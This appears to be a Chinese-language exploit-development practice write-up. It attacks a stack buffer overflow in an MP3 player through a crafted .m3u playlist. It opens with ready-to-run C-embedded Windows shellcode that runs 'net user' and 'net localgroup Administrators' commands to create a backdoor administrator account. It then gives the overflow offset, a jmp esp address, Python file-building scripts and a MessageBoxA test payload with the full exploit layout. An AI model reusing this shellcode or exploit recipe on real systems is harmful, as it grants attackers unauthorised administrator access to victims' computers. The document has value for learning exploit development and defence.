附上一个添加用户的shellcode
#include<stdio.h>
char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"
"\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"
"\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"
"\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"
"\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"
"\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"
"\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"
"\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"
"\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"
"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7";
int main()
{
_asm
{
lea eax,shellcode;
push eax;
retn;
}
return 0;
}
今天用来做练习的是一个MP3播放器。先安装好软件,运行界面如图
为了测试它是否有缓冲区溢出,我用python构造畸形测试文件
filename="C:\\Documents and Settings\\All Users\\桌面\\test.m3u" #待写入的文件名 myfile=open(filename,'w') #以写方式打开文件 filedata="A"*30000 #待写入的数据 myfile.write(filedata) #写入数据 myfile.close() #关闭文件
得到test.m3u文件,用播放器打开
报错显示,AAAA(0x41)覆盖了返回地址,下面我们确定溢出点,我用的方法比较笨
filename="C:\\Documents and Settings\\All Users\\桌面\\test.m3u" #待写入的文件名 myfile=open(filename,'w') #以写方式打开文件 filedata="A"*26073+"B"*500 #待写入的数据 myfile.write(filedata) #写入数据 myfile.close() #关闭文件用一堆A和一堆B填充缓冲区,知道A,B都同时覆盖到返回地址经测试,当填充26073个A+500个B时候,出现0x42424141,所以我知道当填充26071个A即可覆盖到返回地址![]()
知道了返回地址,我用JMP ESP 法运行shellcode,先要在金城内找到一条jmp esp指令,这简单,jmp esp指令的机器码是FF E4,直接在进程地址空间搜索就行,我找到了这个地址:77d55af7
下面是测试用的shellcode:33DB536861697279684E6574668BC453505053B8EA07D577FFD0
注意:这个shellcode 的功能是弹出一个对话框,需要调用MessageBoxA,shellcode中EA07D577是MessageBoxA的地址
完整的构造是:26071个A+77d55af7(jmp esp地址)+33DB536861697279684E6574668BC453505053B8EA07D577FFD0(shellcode)
成功弹出了对话框!!!